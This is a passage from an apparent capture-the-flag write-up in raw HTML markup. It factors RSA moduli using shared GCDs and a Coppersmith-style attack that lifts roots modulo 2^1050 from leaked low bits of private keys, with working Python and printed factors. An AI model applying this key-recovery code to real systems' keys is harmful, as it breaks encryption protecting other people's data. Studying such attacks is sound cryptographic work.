    &lt;span class=&quot;n&quot;&gt;gcd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gmpy2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcd&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;n2n3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;n2n3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;326199725504488859529927636344...
0
1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we know that &lt;code&gt;ns[0]&lt;/code&gt; and &lt;code&gt;ns[1]&lt;/code&gt; are &lt;code&gt;n2&lt;/code&gt; and &lt;code&gt;n3&lt;/code&gt; (we can, for now, just
arbitrarily pick the order &amp;#x2013; we&amp;#39;ll fix it later if necessary).&lt;/p&gt;

&lt;p&gt;This also tells us that &lt;code&gt;ns[2]&lt;/code&gt; and &lt;code&gt;ns[3]&lt;/code&gt; are &lt;code&gt;n1&lt;/code&gt; and &lt;code&gt;n4&lt;/code&gt; although again
we don&amp;#39;t know which is which.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Now let&amp;#39;s get to the nerfed private keys.&lt;/p&gt;

&lt;p&gt;Since we have the lower half of the private keys, we &lt;em&gt;should&lt;/em&gt; be able to
get something, right?&lt;/p&gt;

&lt;p&gt;Turns out, there is a nice attack when you know the LSBs of the
private key: Coppersmith Attack!&lt;/p&gt;

&lt;p&gt;Let&amp;#39;s re-derive it from scratch, first for the &lt;code&gt;p*q&lt;/code&gt; case (i.e., &lt;code&gt;n1&lt;/code&gt;),
since we&amp;#39;ll need to understand its derivation to be able to use it for
n2, n3 and n4.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;e*d = 1 (mod phi)&lt;br&gt;
e*d - 1 = k * phi&lt;br&gt;
e*d - 1 = k * ((p-1) * (q-1))&lt;br&gt;
e*d - 1 = k * (p*q - p - q + 1)&lt;br&gt;
e*d - 1 = k * (N - p - q + 1)&lt;br&gt;
e*d*p - q = k * p * (N - p - q + 1)&lt;br&gt;
e*d*p - k*p*(N - p + 1) + k*N = p&lt;br&gt;
e*d*p - k*p*(N - p + 1) + k*N = p (mod M)&lt;br&gt;
(k)*p&lt;sup&gt;2&lt;/sup&gt; + (d*e - k*N - k - 1)*p + k*N = 0 (mod M)  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In the above, &lt;code&gt;M&lt;/code&gt; means &lt;code&gt;2^1050&lt;/code&gt; which refers to the fact that we only
know the lower 1050 bits of the private key. Since the final equation
is modulo &lt;code&gt;M&lt;/code&gt;, we actually know all of the values for the quadratic
equation in &lt;code&gt;p&lt;/code&gt;, if we simply pick a value for &lt;code&gt;k&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since we know that &lt;code&gt;0 &amp;lt; d &amp;lt; phi&lt;/code&gt;, we know that &lt;code&gt;0 &amp;lt; k &amp;lt;= e&lt;/code&gt;. Conveniently,
&lt;code&gt;e&lt;/code&gt; is only 1667, which means we only need to try 1667 such quadratic
equations.&lt;/p&gt;

&lt;p&gt;One small setback- we need to compute the quadratic equation &lt;em&gt;modulo&lt;/em&gt;
&lt;code&gt;M&lt;/code&gt;. We &lt;em&gt;could&lt;/em&gt; use Sage&amp;#39;s &lt;code&gt;solve_mod&lt;/code&gt; but for some reason I wasn&amp;#39;t
able to really get it to work well (not entirely sure why) so I
decided to implement it myself. What we need to know for this is
&lt;a href=&quot;https://en.wikipedia.org/wiki/Hensel&amp;#x27;s_lemma&quot;&gt;Hensel&amp;#39;s Lemma&lt;/a&gt;. More
particularly, one if its consequences: if we can compute the root of a
single-variable function &lt;code&gt;f&lt;/code&gt; modulo some power of a prime, we can
&lt;em&gt;easily&lt;/em&gt; compute the root modulo the next power. There are indeed more
powerful things we can do with this, but this requires more specific
conditions that we don&amp;#39;t really have, so let&amp;#39;s simply use this fact
for now. I ended up implementing a fairly simply higher-order function
that computes these roots using the most basic way I could think of
doing this:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Compute roots of f modulo p^k&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;roots_by_hensel_lift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;M&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;M&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roots_by_hensel_lift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;M&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Unfortunately, if we use it for anything larger than some depth, we&amp;#39;ll
hit the default recursion limit for Python, so let&amp;#39;s change it:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setrecursionlimit&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;setrecursionlimit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we can easily go over each of the keys that we have, and quickly
factor them, as long as they are of the form &lt;code&gt;p * q&lt;/code&gt; (i.e., &lt;code&gt;n1&lt;/code&gt;). Since
this must be either &lt;code&gt;ns[2]&lt;/code&gt; or &lt;code&gt;ns[3]&lt;/code&gt;, let&amp;#39;s only run it on these two.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;factor_pq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1667&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roots_by_hensel_lift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;factor_pq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;Found n1 in ns[2]&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;factor_pq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;Found n1 in ns[3]&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;p1 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;q1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;q1 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Found n1 in ns[3]
p1 = 188689169745401648234984799686...
q1 = 224327615705283723685555998413...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It takes a minute or so to find the above answer. But yeah, now we
have factorized &lt;code&gt;ns[3]&lt;/code&gt; and also just learnt that &lt;code&gt;ns[2]&lt;/code&gt; is &lt;code&gt;n4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let&amp;#39;s tackle that now, shall we?&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Since &lt;code&gt;n4&lt;/code&gt; is of the form &lt;code&gt;pqq&lt;/code&gt;, we need to re-derive an attack using the
same technique we used before (Coppersmith&amp;#39;s attack). The only
difference here is that we will try to obtain an equation in &lt;code&gt;q&lt;/code&gt; simply
because it is easier. Additionally, this equation turns out to be a
cubic equation, but that&amp;#39;s ok for us, since Hensel&amp;#39;s lemma works here
too.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;e*d = 1 (mod phi)&lt;br&gt;
